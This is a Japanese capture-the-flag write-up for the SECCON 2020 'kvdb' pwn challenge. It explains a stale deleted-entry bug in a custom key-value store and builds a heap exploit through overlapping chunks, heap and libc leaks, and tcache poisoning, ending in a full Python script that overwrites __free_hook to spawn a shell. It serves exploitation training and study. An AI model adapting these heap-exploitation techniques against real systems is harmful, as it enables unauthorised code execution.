# kvdb - SECCON Online 2020 ###### tags: `SECCON` ## 概要 libc-2.32セットとバイナリが貰える。ヒープ問っぽい見た目をしている。 ``` $ ./kvdb Simple Key-Value Database MENU ================ 1. Put 2. Get 3. Delete 0. Exit ================ > ``` 全部有効。 ``` $ checksec -f kvdb RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 105 Symbols Yes 0 12 kvdb ``` ## Reversing 新しいgccでコンパイルされたやつIDAで読むと関数名正しく認識してくれなくて実質strippedみたいな感じでいっつも読んでる。なんとかならんのか。 ### put サイズは0x400バイトまで。 `db_reg(key, value, size)`で登録する。 ### get `value = db_get(key, &size)`でデータを取得する。 ### delete `db_del(key)`でデータを削除する。 ### db_reg まずkeyが存在するかを調べる。存在しない場合、次のように作る。 ```cpp if(!(e = ent_lookup(key))){ if(!(e = (struct entry*)calloc(1, sizeof(struct entry)))) panic("allocate entry"); e->hash = new_hash(key); e->key = alloc(&mp, strlen(key)+1); strcpy(e->key, key); htb_link(e); } ``` サイズが足りない場合は次のようにアロケートされる。 ```cpp if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){ e->size = 0; e->data = alloc(&mp, size); } e->size = size; memcpy(e->data, data, size); ``` ### db_get キーが存在する場合はそのデータのポインタとサイズを返す。 ここでポインタは`mp.base`と`mp.base+mp.inuse`の間にある必要が有るので注意。 ### db_del キーが存在する場合`e->valid`を0にする。 ### alloc, gc `alloc`はinuse + 要求sizeがcapacityを超えた場合にgcを走らせる。 `gc`は次のような手順を実行する。 1. `estimate_inuse`でvalidなチャンクのサイズ(keylen+datalen+1)の総和を求める 2. estimateされたinuse+要求されたサイズを満たすような2^nのサイズ(0x80以上)を`init_mpool`で確保する。 3. `migrate`で確保した方に既存のデータをすべて移す。 4. 古いやつを削除 ### htb 気になるのはGCとDBの間でポインタの整合性が取れているかという点。 entryはリンクになっている。 ```cpp struct entry { char valid; uint32_t hash; uint32_t size; char *key; char *data; struct entry *next; }; ``` これが0x100個存在し、keyのハッシュの下位1バイトのhtbの先頭に繋がれる。 ```cpp static void htb_link(struct entry *e){ uint32_t idx; idx = e->hash & 0xff; e->next = htb[idx]; htb[idx] = e; } ``` 一方deleteにはこれを破棄するような処理はない。 さらにlookupでは先頭から単にhashとkeyが一致するものを見ている。 ```cpp static struct entry *ent_lookup(const char *key){ struct entry *e; uint32_t hash; hash = new_hash(key); for(e = htb[hash & 0xff]; e; e = e->next) if(e->hash == hash && !strcmp(e->key, key)) return e; return NULL; } ``` migrateは非常にシンプルで、これらのコピーをする。 ```cpp static void migrate(struct mpool *p){ for(int i=0; i<0x100; i++) for(struct entry *e = htb[i]; e; e = e->next){ char *key, *data; key = alloc(p, strlen(e->key)+1); strcpy(key, e->key); e->key = key; if(e->valid && e->size > 0){ data = alloc(p, e->size); memcpy(data, e->data, e->size); e->data = data; } } } ``` ここでvalidが0のエントリに関して、データはコピーされないため、htbには削除されたデータも残ったままとなる。これはfreeもされなければリンクから外されることもない。 ## 脆弱性 そんな複雑な操作でもないのにわざわざ削除したエントリを残すのは怪しい。そこで気になるのは、validを見ていないやつが居ないかという点。 ```cpp if(!(e = ent_lookup(key))){ if(!(e = (struct entry*)calloc(1, sizeof(struct entry)))) panic("allocate entry"); e->hash = new_hash(key); e->key = alloc(&mp, strlen(key)+1); strcpy(e->key, key); htb_link(e); } e->valid = 1; ``` いますいます。おまけにvalidを1にしてくれて嬉しい...! keyに関しては更新されているので正しいが、dataに関しては更新されていない。そこで次のようなチェックがある。 ```cpp if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){ e->size = 0; e->data = alloc(&mp, size); } ``` これのおかげで多くの場合は正しい挙動をする。dataが指している古いポインタは`base`から`base+inuse`の範囲外にあることがほとんどだからだ。 しかし、なんか上手いことヒープをごにょごにょすればallocさせずみ済みそうな気がする。それでシェルが取れるかは知らん。 ## 解法 ### 削除済みエントリの復活 イメージとしてはこんな感じで削除済みエントリのデータ領域を書き換えられると思う。 ``` [ initial mp: 0x80 ] [hoge] --> expand [ freed : 0x80 ] [hoge] [ second mp: 0x800 ] --> expand vvv この辺にゴミentry [ freed : 0x80 ] [hoge] [ freed : 0x800 ] [ third mp: 0x2000 ] --> expand [ freed : 0x80 ] [hoge] [ freed consolidated : 0x2800 ] [ fourth mp: 0x4000] --> shrink [ freed : 0x80 ] [hoge] [ fifth mp :0x2000 ] [ freed :0x4800 ] ``` 通常エントリが確保されてconsolidateができないが、既存キーを使えばエントリが確保されずに済む。 というか別にconsolidateする必要はないか。まぁ適当にやってればいい感じになるやろ。 ということで適当してたらいい感じになった。 ```python # prepare room put("A", 14, "AAAA") put("B", 14, "BBBB") put("C", 14, "CCCC") put("D", 14, "DDDD") put("E", 14, "EEEE") # don't consolidate ^o^ delete("A") delete("B") delete("C") delete("D") # create victim put("A", 0x100, "A" * 0x100) delete("A") # expand heap put("B", 0x3e0, "B" * 0x3e0) delete("B") # shrink heap put("C", 0x40, "C" * 0x40) ``` これでAのエントリは次のようになる。 ``` pwndbg> x/32xg 0x555555559250 0x555555559250: 0x0000000000000000 0x0000000000000031 0x555555559260: 0x0002b5e600000000 0x0000000000000100 0x555555559270: 0x00005555555593e0 0x00005555555593f8 0x555555559280: 0x0000000000000000 0x0000000000000091 ``` ところがAの指す先は正しいヒープのポインタなのであった・・・ ``` pwndbg> x/32xg 0x555555559250 + 0x30 + 0x90 + 0x30 * 4 0x5555555593d0: 0x0000000000000000 0x0000000000000211 0x5555555593e0: 0x0044004300420041 0x0000454545450045 0x5555555593f0: 0x0000000000000000 0x4343434343434343 0x555555559400: 0x4343434343434343 0x4343434343434343 0x555555559410: 0x4343434343434343 0x4343434343434343 0x555555559420: 0x4343434343434343 0x4343434343434343 0x555555559430: 0x4343434343434343 0x4141414141414141 0x555555559440: 0x4141414141414141 0x4141414141414141 0x555555559450: 0x4141414141414141 0x4141414141414141 0x555555559460: 0x4141414141414141 0x4141414141414141 ``` 実際この後Aを小さいサイズで使うと ``` pwndbg> x/32xg 0x555555559250 + 0x30 + 0x90 + 0x30 * 4 0x5555555593d0: 0x0000000000000000 0x0000000000000211 0x5555555593e0: 0x0044004300420041 0x0000454545450045 0x5555555593f0: 0x0000000000000000 0x0000000065676f68 0x555555559400: 0x4343000000000000 0x4343434343434343 0x555555559410: 0x4343434343434343 0x4343434343434343 0x555555559420: 0x4343434343434343 0x4343434343434343 0x555555559430: 0x4343434343434343 0x4141414141414141 ``` とAが復活して完全オーバーラップ太郎になる。AとかCとか書いてるやつは真のヒープじゃないのでオーバーラップしても嬉しくないが、これを応用すればいいことがあるんじゃないかな。 ### もうちょい頑張る ↑のやつはあまりうれしくないので、もう少し嬉しいヒープレイアウトを得る。 ここで、 ```cpp (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse ``` のチェックは`e->size`を考慮していないので、次のような状態を作れば真のヒープの範囲外読み書きができる。 ``` A.data Aの終端 | | v v [ mp heap ][ freed chunk ] ``` こういう状況を作るにはmp heapがunsorted binから切り出される必要があり、風水ゲーと化す。 しかし、ひとたびこれを作ればあとは簡単である。 なぜなら、freed chunkにentryを持ってくることで、以後A.dataの操作のみでヒープのアドレスリーク、AAR, AAWが作れるからである。 ```python # ponta put("A", 14, "AAAA") put("B", 14, "BBBB") put("C", 14, "CCCC") put("D", 14, "DDDD") put("E", 14, "EEEE") # don't consolidate ^o^ delete("A") delete("B") delete("C") delete("D") # skip 0x400 put("A", 0x3e0, "A" * 0x3e0) delete("A") # expand heap --> cap = 0x800 put("B", 0x400, "B" * 0x400) delete("B") put("A", 0x3e0, "A" * 0x3e0) delete("A") # shrink heap --> cap = 0x400 (from tcache) put("C", 0x40, "C" * 0x40) delete("C") # consume first part of 0x800 chunk (actually top) for i in range(0x400 // 0x30): put(str(i), 2, "XX") delete(str(i)) # shrink heapxs --> cap = 0x200 (from top) put("B", 0x340, "B" * 0x340) delete("B") put("D", 0x40, "D" * 0x40) ``` こんな感じですると、ヒープは次のようになる。 ``` pwndbg> x/32xg 0x555555559250 + 0x30 + 0x90 + 0x30 * 4 + 0x410 + 0x3f0 0x555555559bd0: 0x0000555555559320 0x0000000000000211 0x555555559be0: 0x3231003131003031 0x3100343100333100 0x555555559bf0: 0x0037310036310035 0x0030003931003831 0x555555559c00: 0x0034003300320031 0x0038003700360035 0x555555559c10: 0x4200303200410039 0x4500450044004300 ... ``` サイズが0x200なわけだが、Aのentryは次のようになる。 ``` pwndbg> x/32xg 0x555555559250 0x555555559250: 0x0000000000000000 0x0000000000000031 0x555555559260: 0x0002b5e600000000 0x00000000000003e0 0x555555559270: 0x0000555555559c12 0x0000555555559c08 ... ``` dataは0x0000555555559c08と、さきほどのヒープの領域を指している一方、サイズは0x3e0とヒープのサイズより大きい。 ということでcap - inuse以下のサイズであればallocateでき、heap overflowが発生する。 これでヒープのアドレスは取得できるが、libcがないので作る。もうこの辺は面倒だけどやるだけなので説明は残さない。 ### 最後の難関 ```cpp if((void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse) panic("Out of memory pool"); ``` まずこいつがゴミ。 が、冷静に考えればmigrate時にこのチェックは無いのでデータを外へコピーできる。 ところがこいつがカス。 ```cpp if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){ e->size = 0; e->data = alloc(&mp, size); } ``` せっかくdataポインタを書き換えられても、こいつのせいでAAWにはならない。 サイズは相変わらず書き換えられるので、クソデカサイズにすれば巨大ヒープオーバーフローは得られる。 いろいろ考えたけど単純にAAWは作れ無さそうなのでtcache poisoningする。0x100のチャンクはまだ作ってないので、victim chunkの後ろにあるunsortedbinから切り出される。さらに、shrinkもexpandもせずgcが働けばもう1つ0x100のチャンクができるので、tcacheのcntチェックも抜けられる。 ```python # shrink --> cap = 0x100 put("D", 0x20, "D"*0x20) delete("D") put("C", 0xb0, "C"*0xb0) delete("C") # renew --> cap = 0x100 put("B", 0x20, "B"*0x20) delete("B") put("D", 0xb0, "D"*0xb0) delete("D") # expand --> cap = 0x200 put("C", 0x20, "C"*0x20) delete("C") put("B", 0x1c0, "B"*0x1c0) delete("B") payload = b'v' * 0x48 payload += p64(0x31) payload += p32(1) + p32(calc_hash(b'v')) + p64(0x114514) payload += p64(heap_base + delta + 0xa00) payload += p64(heap_base + delta + 0xbc0) payload += p64(0) payload += p64(0x111) payload += p64(libc_base + libc.symbol("__free_hook")) put("v", len(payload), payload) delete("v") ``` こんなことをすると ``` pwndbg> tcachebins tcachebins 144 [ 1]: 0x555555559290 ◂— 0x0 272 [ 2]: 0x555555559c40 —▸ 0x7ffff7dd18e8 (__free_hook) ◂— 0x0 1040 [ 1]: 0x5555555593b0 ◂— 0x0 ``` こんなことになる。 今回は`__free_hook`を書き換えた。free時に引数を渡せるよう、htb[0]に`/bin/sh;XXX`が来るような衝突を見つけた。 ## Exploit はい。 ```python= from ptrlib import * def put(key, size, data): p.sendlineafter("> ", "1") p.sendlineafter(": ", key) p.sendlineafter(": ", str(size)) p.sendafter(": ", data) def get(key): p.sendlineafter("> ", "2") p.sendlineafter(": ", key) p.recvline() p.recvline() b = b'' while True: r = p.recvline() if r == b'--------------': break b += r + b'\n' return b.rstrip() def delete(key): p.sendlineafter("> ", "3") p.sendlineafter(": ", key) def calc_hash(s): h = 5381 for c in s: if c == 0: break h = h * 33 + c return h & 0xffffffff def find_conflict(base, th): suffix = b'' while True: for c in range(1, 0x100): if calc_hash(base + suffix + bytes([c])) & 0xff == th: suffix += bytes([c]) break else: continue break return base + suffix libc = ELF("./libc.so.6") p = Process(["./ld.so", "--library-path", ".", "./kvdb"]) delta = 0x40 #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #p = Process("./kvdb") #delta = 0 """ 1) heap feng shui [X][0x80][Y][ 0x400 ][ 0x800 ] """ # ponta put("A", 14, "AAAA") put("B", 14, "BBBB") put("C", 14, "CCCC") put("D", 1, "D") delete("A") delete("B") delete("C") delete("D") # skip 0x400 put("A", 0x3e0, "A" * 0x3e0) delete("A") # expand heap --> cap = 0x800 put("B", 0x400, "B" * 0x400) delete("B") put("A", 0x3d0, "A" * 0x3d0) delete("A") # shrink heap --> cap = 0x400 (from tcache) put("C", 0x40, "C" * 0x40) delete("C") # consume first part of 0x800 chunk (actuall top) for i in range(0x260 // 0x30): put(chr(0x20 + i), 1, "X") delete(chr(0x20 + i)) """ 2) A->valid = 1 """ # shrink heap --> cap = 0x200 (from top) put("B", 0x380, "B" * 0x380) delete("B") put("D", 0x20, "D" * 0x20) delete("D") put("D", 0x189, "D" * 0x189) # A->valid = 1 payload = b"A" * 0x40 + p64(0x20401) payload += b"X" * 0x100 put("A", len(payload), payload) # create victim put("v", 1, "v") delete("v") """ 3) leak heap """ heap_base = u64(get("A")[0x60:0x68]) - 0xbcb - delta logger.info("heap = " + hex(heap_base)) delete("A") delete("D") """ 4) create libc link in heap """ # expand --> cap = 0x800 put("B", 0x400, "B"*0x400) delete("B") put("x", 1, "x") # do not consolidate put("C", 0x3d0, "C"*0x3d0) delete("C") # shrink --> cap = 0x400 put("D", 0x40, "D"*0x40) delete("D") put("B", 0x390, "B"*0x390) delete("B") # shrink --> cap = 0x200 put("C", 0x20, "C"*0x20) delete("C") put("D", 0x190, "D"*0x190) delete("D") """ 5) A->valid = 1 & create fake entry """ payload = b"A" * 0x40 + p64(0x31) payload += p32(1) + p32(calc_hash(b"v")) + p64(0x8) payload += p64(heap_base + delta + 0xa00) payload += p64(heap_base + delta + 0xc40) payload += p64(0) put("A", len(payload), payload) delete("A") """ 6) migrate libc address """ put("B", 0x200, "B"*0x200) libc_base = u64(get("v")) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) delete("B") delete("v") """ 7) A->valid = 1 & create fake entry """ # shrink --> cap = 0x200 put("D", 0x1d0, "D"*0x1d0) delete("D") put("C", 0x20, "C"*0x20) delete("C") put("B", 0x1a0, "B"*0x1a0) delete("B") # overwrite victim payload = b"A" * 0x40 + p64(0x31) payload += p32(0) + p32(calc_hash(b"v")) + p64(0x114514) payload += p64(heap_base + delta + 0xa00) payload += p64(heap_base + delta + 0xbc0) payload += p64(0) put("A", len(payload), payload) delete("A") """ 8) prepare 2 freed chunk of size 0x110 """ # shrink --> cap = 0x100 put("D", 0x20, "D"*0x20) delete("D") put("C", 0xb0, "C"*0xb0) delete("C") # renew --> cap = 0x100 put("B", 0x20, "B"*0x20) delete("B") put("D", 0xb0, "D"*0xb0) delete("D") """ 9) overwrite tcache entry by v """ # expand --> cap = 0x200 put("C", 0x20, "C"*0x20) delete("C") put("B", 0x1c0, "B"*0x1c0) delete("B") payload = b'v' * 0x48 payload += p64(0x31) payload += p32(1) + p32(calc_hash(b'v')) + p64(0x114514) payload += p64(heap_base + delta + 0xa00) payload += p64(heap_base + delta + 0xbc0) payload += p64(0) payload += p64(0x111) payload += p64( ((heap_base + 0xc80) >> 12) ^\ libc_base + libc.symbol("__free_hook") - 0x90 ) put("v", len(payload), payload) delete("v") """ 10) overwrite __free_hook """ # shrink --> cap = 0x100 put("D", 0x20, "D"*0x20) delete("D") put("C", 0xb0, "C"*0xb0) delete("C") # renew --> cap = 0x100 put("B", 0x20, b"B"*0x20) delete("B") payload = b'\xff' * 9 payload += p64(0) * 4 payload += p32(0)*2 + p64(0) payload += p64(0) + p64(libc_base + libc.symbol("system")) put(find_conflict(b"/bin/sh;", 0), len(payload), payload) # expand --> cap = 0x200 put("B", 0x100, b"B"*0x100) delete("B") """ 11) go! """ # expand --> cap = 0x400 # now free(mp.base) will be called # the top of mp.base is "/bin/sh;?" put("C", 0x200, b"C"*0x200) p.interactive() ```